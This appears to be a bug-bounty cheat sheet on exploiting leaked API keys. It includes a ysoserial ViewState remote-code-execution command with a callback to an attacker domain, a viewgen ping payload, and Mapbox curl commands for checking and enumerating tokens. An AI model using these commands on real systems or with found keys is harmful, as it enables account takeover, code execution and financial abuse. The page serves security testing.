API Key Leaks
The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
Summary
Tools
- momenbasel/KeyFinder - is a tool that let you find keys while surfing the web
- streaak/keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
- trufflesecurity/truffleHog - Find credentials all over the place

Exploit
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
Google Maps
Use : https://github.com/ozguralp/gmapsapiscanner/
Impact:
- Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company

IIS Machine Keys
That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
Requirements
- machineKey validationKey and decryptionKey
- __VIEWSTATEGENERATOR cookies
- __VIEWSTATE cookies
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />

Generate ViewState for RCE
NOTE: Send a POST request with the generated ViewState to the same endpoint, in Burp you should URL Encode Key Characters for your payload.
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"

$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
Edit cookies with the machine key
If you have the machineKey but the viewstate is disabled.
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
# decrypt cookie

Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is sk
, jackpot. If it's pk
or tk
, it's not worth your time.
- Check token validity:
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
- Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope):
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
